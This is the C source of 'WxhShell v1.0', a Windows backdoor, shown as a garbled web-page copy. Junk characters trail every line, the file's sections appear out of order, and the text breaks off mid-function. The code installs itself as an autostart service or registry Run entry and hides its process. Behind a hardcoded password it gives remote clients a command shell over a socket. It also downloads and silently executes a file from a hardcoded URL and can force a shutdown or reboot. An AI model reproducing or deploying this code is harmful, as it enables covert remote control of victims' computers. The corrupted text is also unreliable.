  // 关机 DBB&6~;?  
  case 'd': { fglfnx0{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A]5];c  
    if(Boot(SHUTDOWN)) YS){ N=g&'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^iJyo&I  
    else { A]'jsv!+  
    closesocket(wsh); ,!@MLn  
    ExitThread(0); &Q;sbI}  
    } Y8]@y0(  
    break; 2vLun   
    } 72"H#dy%U  
  // 获取shell ;h+~xxu=X  
  case 's': { |u^S}"@3sU  
    CmdShell(wsh); :o{,F7(P  
    closesocket(wsh); Gj-nT N  
    ExitThread(0); :&TM0O  
    break; aK - x{  
  } M @-:iP  
  // 退出 u "jV#,,  
  case 'x': { {9}CU~R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '!`\!=j-`  
    CloseIt(wsh); n`&D_AbQ  
    break; M1xsGa9h&  
    } `MuX/ [q  
  // 离开 65qqs|&w;[  
  case 'q': { CN:T$ f|)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^ex\S8j  
    closesocket(wsh); -yc YQ~R  
    WSACleanup(); mc8Q2eQat}  
    exit(1); th[v"qD9G  
    break; ty.$ H24  
        } ed#fDMXGQ%  
  } <MkvlLu((o  
  } ~Ay)kv;  
HrvyI)4{  
  // 提示信息 WIf.;B)L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ UI>SN  
} <6Gs0\JB  
  } >h;]rMD!|  
:tU^  
  return; X:g5;NT  
} > d p/  
reh{jMC  
// shell模块句柄 Dk^AnMx%_  
int CmdShell(SOCKET sock) 0Q&(j7`^@  
{ e~zgH\`  
STARTUPINFO si; `HQ)][  
ZeroMemory(&si,sizeof(si)); mLZ1u\ 7W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G@`F{l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X\ P%C  
PROCESS_INFORMATION ProcessInfo; -i2rcH  
char cmdline[]="cmd"; rx2'].  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |_TI/i>?'  
  return 0; px K&aY8  
} )/>BgXwH  
[M~tH *4"  
// 自身启动模式 O%\cRn8m  
int StartFromService(void) zvdut ,6<  
{ [m0X kvd  
typedef struct 3< ?+Yhq  
{ >bf.T7wy  
  DWORD ExitStatus; mW%8`$rVEO  
  DWORD PebBaseAddress; s<F*kLib  
  DWORD AffinityMask; Zyz#xMmM  
  DWORD BasePriority; {+WY,%e  
  ULONG UniqueProcessId; s%K(hk  
  ULONG InheritedFromUniqueProcessId; dz([GP'-*  
}   PROCESS_BASIC_INFORMATION; . &j+&  
)&j`5sSXcr  
PROCNTQSIP NtQueryInformationProcess; dE_Xd :>  
l EFd^@t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H575W"53  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0<\|D^m=&h  
R#4l"  
  HANDLE             hProcess; 1$vGQ  
  PROCESS_BASIC_INFORMATION pbi; OA3J(4!"W  
6(`N!]e*L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <N=k&\  
  if(NULL == hInst ) return 0; YJ6~P   
T[|#DMg$F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WDIin6u-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -/JEKw c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K/ On|C  
!\7`I}:  
  if (!NtQueryInformationProcess) return 0; =Z:] %  
Mc@9ivwL#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JfN5#+_i  
  if(!hProcess) return 0; !t23 _b0  
 *XhlIQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =){ G  
uxU-N  
  CloseHandle(hProcess); cWkg.ri-x  
1WMZ$vsQUb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jDY B*Y^F  
if(hProcess==NULL) return 0; fAULuF  
-`k>(\Q< d  
HMODULE hMod;  9Bt GzI\  
char procName[255]; b}R_@_<u  
unsigned long cbNeeded; TI7$J#  
%`&n ;K.c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); larv6ncV  
7_1 Iadb  
  CloseHandle(hProcess); )- 3~^Y#r_  
t`K9K"|k  
if(strstr(procName,"services")) return 1; // 以服务启动 f1_;da  
 pRobx  
  return 0; // 注册表启动 L K #A  
} o7!A(Eu  
8IlUbj  
// 主模块 QAV6{QShj  
int StartWxhshell(LPSTR lpCmdLine) 2O=$[b3  
{ jV sH  
  SOCKET wsl; ]AY 4bm  
BOOL val=TRUE; Ww-x+U\l  
  int port=0; vTK%8qoZ  
  struct sockaddr_in door; k2D*`\ D  
tw$EwNI[  
  if(wscfg.ws_autoins) Install(); J=3{<Xl  
4P3RRS  
port=atoi(lpCmdLine); _s^tL2Pc  
h.vy SwF"j  
if(port<=0) port=wscfg.ws_port; uy<3B>3~.  
utZI'5i  
  WSADATA data; ;-u]@35  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Mgw#4LU  
1 7~Pc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,zoHmV1Wd+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2X2Ax~d@  
  door.sin_family = AF_INET; F|F0#HC ?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yQrgOdo,w  
  door.sin_port = htons(port); < c^'$  
 BjH|E@z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aH6j,R%  
closesocket(wsl); fS4foMI63)  
return 1; }h;Z_XF&  
} -NwG' U~  
` 7iA?;  
  if(listen(wsl,2) == INVALID_SOCKET) { %Y ZC dS  
closesocket(wsl); fxcE1=a  
return 1; FvT4?7-  
} *1dZs~_  
  Wxhshell(wsl); W8g13oAu"  
  WSACleanup(); }'P|A  
SSF:PTeG>  
return 0; i`sZP#h  
h2zSOY{su  
} LG,?,%_s  
1/9*c *w  
// 以NT服务方式启动 N9/k`ZGC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F7=9> ,  
{ @H?OHpJ"`  
DWORD   status = 0; K`N$nOw  
  DWORD   specificError = 0xfffffff; bW W!,-|R  
LOkgeJuWv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }SSg>.48w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~},H+A!?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; > V(C>^%->  
  serviceStatus.dwWin32ExitCode     = 0; 0e8  
  serviceStatus.dwServiceSpecificExitCode = 0; _K9PA[m5 ~  
  serviceStatus.dwCheckPoint       = 0; 3J"`mQ  
  serviceStatus.dwWaitHint       = 0; uN<=v&]q  
[s^p P2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IMD^(k 2  
  if (hServiceStatusHandle==0) return; hFA |(l6  
961&rR}d  
status = GetLastError(); zRjbEL  
  if (status!=NO_ERROR) -I5]#%eX^  
{ 9\!&c<i=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Jzf+"%lv  
    serviceStatus.dwCheckPoint       = 0; jj&G[-"bv  
    serviceStatus.dwWaitHint       = 0; @-)S*+8  
    serviceStatus.dwWin32ExitCode     = status; ^IiA(?8  
    serviceStatus.dwServiceSpecificExitCode = specificError; w]MI3_|'r(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ODu/B'*  
    return; `S((F|Ty=;  
  } l)$mpMgAD  
[Z/P[370  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @~2k5pa  
  serviceStatus.dwCheckPoint       = 0; AIOGa<^  
  serviceStatus.dwWaitHint       = 0; @] .s^ss9_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b$H bo;_   
} KN_n:`cH{  
g=D]=&H  
// 处理NT服务事件,比如:启动、停止 k`>qb8,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R,D/:k'~k  
{ '~ b  
switch(fdwControl) -aJ(-Np$f  
{ 49E| f ^q  
case SERVICE_CONTROL_STOP: {@KLN<  
  serviceStatus.dwWin32ExitCode = 0; ruagJS)+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x%X3FbF]  
  serviceStatus.dwCheckPoint   = 0; &H# l*  
  serviceStatus.dwWaitHint     = 0; ~W>{Dd(J_  
  { eJqx,W5MK]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yzfiH4  
  } %u%;L+0Q[  
  return; %GjG.11V,_  
case SERVICE_CONTROL_PAUSE: Aa1#Ew<r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9Y2u/|!.3  
  break; ; ]% fFcy  
case SERVICE_CONTROL_CONTINUE: 9*iVv)jd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1N _"Mm{  
  break; [uqr  
case SERVICE_CONTROL_INTERROGATE: Q']'KU.  
  break; E7h@c>IK  
}; 7V=deYt_p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h(q4 B~  
} lg-`zV3  
(1S9+H>g  
// 标准应用程序主函数 >;G_o="X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L`M{bRl+1  
{ !(bYh`Uy  
W9gQho%9b  
// 获取操作系统版本 ;Uch  
OsIsNt=GetOsVer(); C,;<SV2#  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  @B{  
bL<H$DB6  
  // 从命令行安装 5Zc  
  if(strpbrk(lpCmdLine,"iI")) Install(); J-=fy^S5  
:D}?H@(69  
  // 下载执行文件 mKM[[l&A  
if(wscfg.ws_downexe) { b^i$2$9_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n S$4[!0  
  WinExec(wscfg.ws_filenam,SW_HIDE); TS=%iMa  
} zk70D_}L  
f(}&8~&  
if(!OsIsNt) { \W_ Dz*N  
// 如果时win9x,隐藏进程并且设置为注册表启动 ++w{)Io Z  
HideProc();  `&a8Wv  
StartWxhshell(lpCmdLine); aU +uPP  
} \zVp8MMf  
else =WCE "X  
  if(StartFromService()) z1RHdu0;z  
  // 以服务方式启动 )e[q% %ks  
  StartServiceCtrlDispatcher(DispatchTable); _j$V[=kdM/  
else X%!?\3S  
  // 普通方式启动 ?>=vKU5  
  StartWxhshell(lpCmdLine); lKQjG+YF  
LVP6vs  
return 0; BB,-HhYT0  
} #\F8(lZ  
Mf"(P.GIS  
=S^vIo)  
kdA]gpdw  
=========================================== 1jSmTI d  
jz'%(6#'gW  
]Gm&Kn >  
[PrJf"Z "  
LfnQcI$kO  
/;TD n>lq  
" %LdBO1D0  
?~^p:T  
#include <stdio.h> " d~M \Az  
#include <string.h>  r+]a  
#include <windows.h> Qc9[/4R>  
#include <winsock2.h> z,qNuv"W  
#include <winsvc.h> :'H}b*VWx  
#include <urlmon.h> -K^(L #G  
2Sy:wt  
#pragma comment (lib, "Ws2_32.lib") *}r6V"pH~  
#pragma comment (lib, "urlmon.lib") Nde1`W]:  
10dK%/6/O  
#define MAX_USER   100 // 最大客户端连接数 MmfshnTN  
#define BUF_SOCK   200 // sock buffer ;h~kB  
#define KEY_BUFF   255 // 输入 buffer |c]L]PU  
UA0R)BH'  
#define REBOOT     0   // 重启 Dxr4B<  
#define SHUTDOWN   1   // 关机 q<g!bW%  
1{xkAy0  
#define DEF_PORT   5000 // 监听端口 odeO(zuU  
~8Ef`zL  
#define REG_LEN     16   // 注册表键长度 ,E(M<n|.  
#define SVC_LEN     80   // NT服务名长度 wGz_IL.D  
w@N)Pu  
// 从dll定义API F0'o!A#|(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6>d 3*   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [di&N!Ao  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]w8h#p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S@L%X<Vm  
0"@p|nAa  
// wxhshell配置信息 . }tpEvAw}  
struct WSCFG { |Pse=_i  
  int ws_port;         // 监听端口 n  8|  
  char ws_passstr[REG_LEN]; // 口令 %eu_Pr6X  
  int ws_autoins;       // 安装标记, 1=yes 0=no H~<wAer,Op  
  char ws_regname[REG_LEN]; // 注册表键名 e $5s],,n  
  char ws_svcname[REG_LEN]; // 服务名 +zFEx%3^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RoD9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z\IZ5'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,+_gx.H2j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >&qaT*_g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3A b_Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :rmi8!o  
_ZuI x=!  
}; 3t] 0  
SMm$4h R  
// default Wxhshell configuration oW/H8q<wY  
struct WSCFG wscfg={DEF_PORT, y*sqnzgF  
    "xuhuanlingzhe", OdJ=4 x>  
    1, DV bY   
    "Wxhshell", ,Hc,]TPC4  
    "Wxhshell", ?7*J4.  
            "WxhShell Service", P$A'WEO'  
    "Wrsky Windows CmdShell Service", |SsmVW$B|  
    "Please Input Your Password: ", C Yk"  
  1, ?rwHkPJ{*  
  "http://www.wrsky.com/wxhshell.exe", H!g9~a  
  "Wxhshell.exe" zL:k(7E  
    }; %t-}dC&  
]O M?e  
// 消息定义模块 6FI`0j=~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iHOvCrp+X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #mv~1tL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4vPKDd  
char *msg_ws_ext="\n\rExit."; cT^x^%  
char *msg_ws_end="\n\rQuit."; B\7 80p<  
char *msg_ws_boot="\n\rReboot..."; t4,(W`  
char *msg_ws_poff="\n\rShutdown..."; FE?^}VH  
char *msg_ws_down="\n\rSave to "; ^t)alNGos  
O$& 4{h`  
char *msg_ws_err="\n\rErr!"; k{C|{m  
char *msg_ws_ok="\n\rOK!"; )0@&pEObm  
^$\#aTyFK  
char ExeFile[MAX_PATH]; {[FJkP2l  
int nUser = 0; 8F`799[p  
HANDLE handles[MAX_USER]; R 9Y k9v  
int OsIsNt; yCye3z.  
ZltY_5l  
SERVICE_STATUS       serviceStatus; 2W`<P2IA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {&Sr<d5  
8J#TP7;  
// 函数声明 H Ff9^  
int Install(void); LfS]m>>e  
int Uninstall(void); )pt#Pu  
int DownloadFile(char *sURL, SOCKET wsh); N Y~y:*:Q  
int Boot(int flag); "/U~j4O  
void HideProc(void); []eZO_o6j  
int GetOsVer(void); bMF`KRP2  
int Wxhshell(SOCKET wsl); 9RN! <`H  
void TalkWithClient(void *cs); qgLj^{  
int CmdShell(SOCKET sock); ]a=Bc~g91  
int StartFromService(void); !xZ`()D#  
int StartWxhshell(LPSTR lpCmdLine); Ja6PX P]'  
qeZ*!H6-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u'EzYJ7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E@$HO_;&  
c`G~.paY|  
// 数据结构和表定义 V4 Wn  
SERVICE_TABLE_ENTRY DispatchTable[] = |zSoA=7?  
{ %L;'C v  
{wscfg.ws_svcname, NTServiceMain}, 79(Px2H2  
{NULL, NULL} ~ f>km|Q{u  
}; *+'l|VaVq\  
f0lK ,U@P  
// 自我安装 ns[Q %_  
int Install(void) W_N!f=HW  
{ 4wQ>HrS)(  
  char svExeFile[MAX_PATH]; Gj([S17\0:  
  HKEY key; p=U5qM.O  
  strcpy(svExeFile,ExeFile); :Qra9; Y  
`]:&h'  
// 如果是win9x系统,修改注册表设为自启动 \?.Tq24  
if(!OsIsNt) { @#5PPXp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~,.}@XlgT.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VN9C@ ;'$  
  RegCloseKey(key); /SZg34%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'xY@ I`x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Arb-,[kwN  
  RegCloseKey(key); KFMEY\6\h  
  return 0; J~vK`+Zs  
    } !>5!Fb=Sy  
  } u0& dDZ  
} oVSq#I4  
else { ;iEFG^'tG  
R+O[,UM^I~  
// 如果是NT以上系统,安装为系统服务 GiN\@F!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FsYsQ_,R3  
if (schSCManager!=0) u ?n{r  
{ [3QKBV1\  
  SC_HANDLE schService = CreateService w_!]_6%{b  
  ( Hh1OD?N)  
  schSCManager, oUwu:&<Orm  
  wscfg.ws_svcname, 0Bpix|mq  
  wscfg.ws_svcdisp, 6+[7UH~pm^  
  SERVICE_ALL_ACCESS, e7.!=R{6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;MR(Eaep  
  SERVICE_AUTO_START, ~?)ST?&  
  SERVICE_ERROR_NORMAL, mT2Fn8yC1  
  svExeFile, jFBnP,WQ  
  NULL, %A<|@OSdOa  
  NULL, " Q~-C|x  
  NULL, lx&ME#~  
  NULL, 7Q9zEd" d  
  NULL \WeGO.i-  
  ); ?0VLx,kp  
  if (schService!=0) yXx}'=&!0  
  { Qm\VZ<6/5  
  CloseServiceHandle(schService); i`1QR@11  
  CloseServiceHandle(schSCManager); G6b\4}E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <v)Ai;l,  
  strcat(svExeFile,wscfg.ws_svcname);  !mX 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _ADK8a6%)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :A{ US9D  
  RegCloseKey(key); ~\z\f} w  
  return 0; jci'q=Vpu  
    } "3i=kvdz  
  } S?5z  
  CloseServiceHandle(schSCManager); YbrsXp"  
} Px)/`'D  
} xv{iWJcs  
m_z1|zM}o  
return 1; H+>l][  
} ZdD]l*.\i  
Rz!E=1Y$  
// 自我卸载 f}'E|:Z 7k  
int Uninstall(void) n2+eC9I  
{ \5%T'S@5  
  HKEY key; {]}}rx'|P  
l%^'K%'b  
if(!OsIsNt) { c!BiGw,;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /L1qdkG  
  RegDeleteValue(key,wscfg.ws_regname); .hCOi<wB  
  RegCloseKey(key); :B<lDcFKJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5"[Qs|VjA6  
  RegDeleteValue(key,wscfg.ws_regname); &OiJJl[9  
  RegCloseKey(key); l }?'U  
  return 0; UUx0#D/U0C  
  } ,z?Re)q m  
} 'lU9*e9  
} @,-xaZ[  
else { !=.5$/  
l\yFx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U&6!2s-  
if (schSCManager!=0) QMzBx*g(  
{ c4R6E~S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bYEq`kjzc  
  if (schService!=0) }cll? 2  
  { PF1m :Iz`d  
  if(DeleteService(schService)!=0) { zX!zG<<K  
  CloseServiceHandle(schService); A}b<Lg  
  CloseServiceHandle(schSCManager); I hvL2 zB  
  return 0; 1_7}B4  
  } <8Qa"<4f;  
  CloseServiceHandle(schService); _AQ :<0/#  
  } :CN,I!:  
  CloseServiceHandle(schSCManager); hIw<gb4J%  
} qPpC)6-Q  
} j0k"iv  
AR?J[e  
return 1; Nvs8t%  
} ;fhFv&`mE  
*N$#cz  
// 从指定url下载文件 ?R0sY ?u  
int DownloadFile(char *sURL, SOCKET wsh) HzM^Zn57%  
{ e jwFQ'wTx  
  HRESULT hr; d;ElqRC&  
char seps[]= "/"; H;<hmbN?d  
char *token; h]<Ld9  
char *file; [KR`%fD0  
char myURL[MAX_PATH]; #nc{MR#R  
char myFILE[MAX_PATH]; & h9ji[  
n-dO |3,  
strcpy(myURL,sURL); -\j}le6;c  
  token=strtok(myURL,seps); (i7]N[  
  while(token!=NULL) 0 )#5_-%  
  { itM6S$  
    file=token; nVoPTr  
  token=strtok(NULL,seps);  _tN"<9v.  
  } :JSOj@s  
m5sgcxt/  
GetCurrentDirectory(MAX_PATH,myFILE); +GWeu0b(~  
strcat(myFILE, "\\"); z@cL<.0CE  
strcat(myFILE, file); &gkloP @  
  send(wsh,myFILE,strlen(myFILE),0); pd,5.d  
send(wsh,"...",3,0); kzGD *  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RaAi9b[/S  
  if(hr==S_OK) C}+w<  
return 0; 2_0OSbFv'P  
else UGEC_  
return 1; q]tPsX5{*  
jGEUl=W  
} )5Kzq6.  
&|H?J,>  
// 系统电源模块 V2%FWo|  
int Boot(int flag) MZE8Cvq0  
{ X#(?V[F]  
  HANDLE hToken; x<"e} Oo  
  TOKEN_PRIVILEGES tkp; &@A(8(%  
:a3Pnq$]E  
  if(OsIsNt) { 5A /G?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8|?$KLz?F>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G7`7e@{  
    tkp.PrivilegeCount = 1; \<~[uv'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q5iuK#/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `w]=x e  
if(flag==REBOOT) { &`<j!xlG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8(D>ws$  
  return 0; w@ 4q D  
} u A:|#mO  
else { ?K{CjwE.M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ycRy! 0l  
  return 0; dV8mI,h  
} !tFs(![  
  } vKDRjrF-  
  else { Se* GR"Z+  
if(flag==REBOOT) { sW#6B+5_k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W=o90TwbN  
  return 0; }V?SedsY  
} IR|AlIv  
else { AU$W=Z*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :Cw|BX@??U  
  return 0; S[{#AX=0  
} 8MM#q+8  
} %K /=7  
mT>56\63  
return 1; x9~d_>'A  
} IC/'<%k  
O(h4;'/E  
// win9x进程隐藏模块 X&t)S?eCos  
void HideProc(void) 2Q)"~3  
{ y:D|U!o2V  
*8fnxWR   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @P4fR7  
  if ( hKernel != NULL ) Tl%#N"  
  { :p(3Ap2TY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gc7S_D~;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MMD4b}p  
    FreeLibrary(hKernel); 3.?PdK&C  
  } Ej ip%m  
4\Y2{Z>P?  
return; %.BbPR7?h  
} sE-E\+  
~9p*zC3M  
// 获取操作系统版本 Ytc  
int GetOsVer(void) ITRv^IlF  
{ iQZgs@  
  OSVERSIONINFO winfo; Lcf =)GL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I7nt<l!  
  GetVersionEx(&winfo); \D<rT)Tl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~a4htj  
  return 1; sYiegX`1c  
  else }?^5\otu  
  return 0; R>To L  
} jtV{Lf3<  
j>+x|!k  
// 客户端句柄模块 +T+f``RcK  
int Wxhshell(SOCKET wsl) =E8lpN'  
{ g9H~\w  
  SOCKET wsh; vdYd~>w  
  struct sockaddr_in client; {%'(IJ|5z  
  DWORD myID; ]YQlCx`  
r Ka7[/  
  while(nUser<MAX_USER) x1]^].#Eo  
{ 0"kNn5  
  int nSize=sizeof(client); <K%qaf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vX]\Jqy  
  if(wsh==INVALID_SOCKET) return 1; SgHLs  
=K=FzV'_~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0iinr:=u  
if(handles[nUser]==0) T/V8&'^i  
  closesocket(wsh); gd R wh  
else ^TJn&k  
  nUser++; YW}q@AY7  
  } (!&cfabL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _y#t[|}w  
p-GlGEt_X  
  return 0; -]~&Pi|  
} #{1w#Iz;  
+#}I^N  
// 关闭 socket ~(aQ!!H6  
void CloseIt(SOCKET wsh) 13I 7ah  
{ {j+w|;dZF  
closesocket(wsh); Gmi4ffIb3  
nUser--; # nwEF QA  
ExitThread(0); n|Iy  
} 3<1Uq3Pa  
w-2p'u['Z  
// 客户端请求句柄 ^<'5 V)  
void TalkWithClient(void *cs) Y'&A~/Adf  
{ `=RJ8u  
Qa~o'  
  SOCKET wsh=(SOCKET)cs; OWx YV$  
  char pwd[SVC_LEN]; E'?yI' ~=  
  char cmd[KEY_BUFF]; t?L;k+sMM  
char chr[1]; 9w^1/t&=04  
int i,j; U,yU-8z/  
$(H%|Oyn  
  while (nUser < MAX_USER) { }+h/2D  
^I@1y}xi  
if(wscfg.ws_passstr) { mVg-z~44T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <LIL{g0eX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UJ 1iXV[h"  
  //ZeroMemory(pwd,KEY_BUFF); hW$B;  
      i=0; V~tq _  
  while(i<SVC_LEN) { DnS# cs~  
F=U3o=-:  
  // 设置超时 ,o& &d.  
  fd_set FdRead; ^&MMtWR  
  struct timeval TimeOut; 3 k py3z[%  
  FD_ZERO(&FdRead); jxU1u"WU  
  FD_SET(wsh,&FdRead); %Wkvo-rOq  
  TimeOut.tv_sec=8; ;t{Ew+s  
  TimeOut.tv_usec=0; $-[V)]h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q<3=s6@T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XZLo*C!MG  
@tWyc%t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cJd~UQ<k  
  pwd=chr[0]; t8DyS FT  
  if(chr[0]==0xd || chr[0]==0xa) { , \ |S BS  
  pwd=0; 9}Ud'#E  
  break; m!3b.2/h  
  } BoE;,s>]NW  
  i++; y8'WR-;  
    } i[/g&fx  
yT%"<m6Y*\  
  // 如果是非法用户,关闭 socket >!MOgLO3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  ^E*W B~  
} x*Y&s<  
v=zqj}T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aN?{MA\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~CgKU8  
{L5!_] 6  
while(1) { hqIYo .<  
N=^{FZ  
  ZeroMemory(cmd,KEY_BUFF); r63_|~JVB<  
55MrsiW  
      // 自动支持客户端 telnet标准   _\hZX|:]  
  j=0; ")'o5V  
  while(j<KEY_BUFF) { YhYcqE8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0OO$(R*  
  cmd[j]=chr[0]; 3o&PVU? Q  
  if(chr[0]==0xa || chr[0]==0xd) { .[%em9u  
  cmd[j]=0; 8\+kfK  
  break; D 's'LspQ  
  } { </MC`  
  j++; 4bLk+EY4A  
    } SIv8EMGo  
/4J2F9:f  
  // 下载文件 >Ig%|4Hw  
  if(strstr(cmd,"http://")) { LW<DhMV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GO{o #}  
  if(DownloadFile(cmd,wsh)) "| 0g 1rd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 47>IT  
  else /` 891( f,  
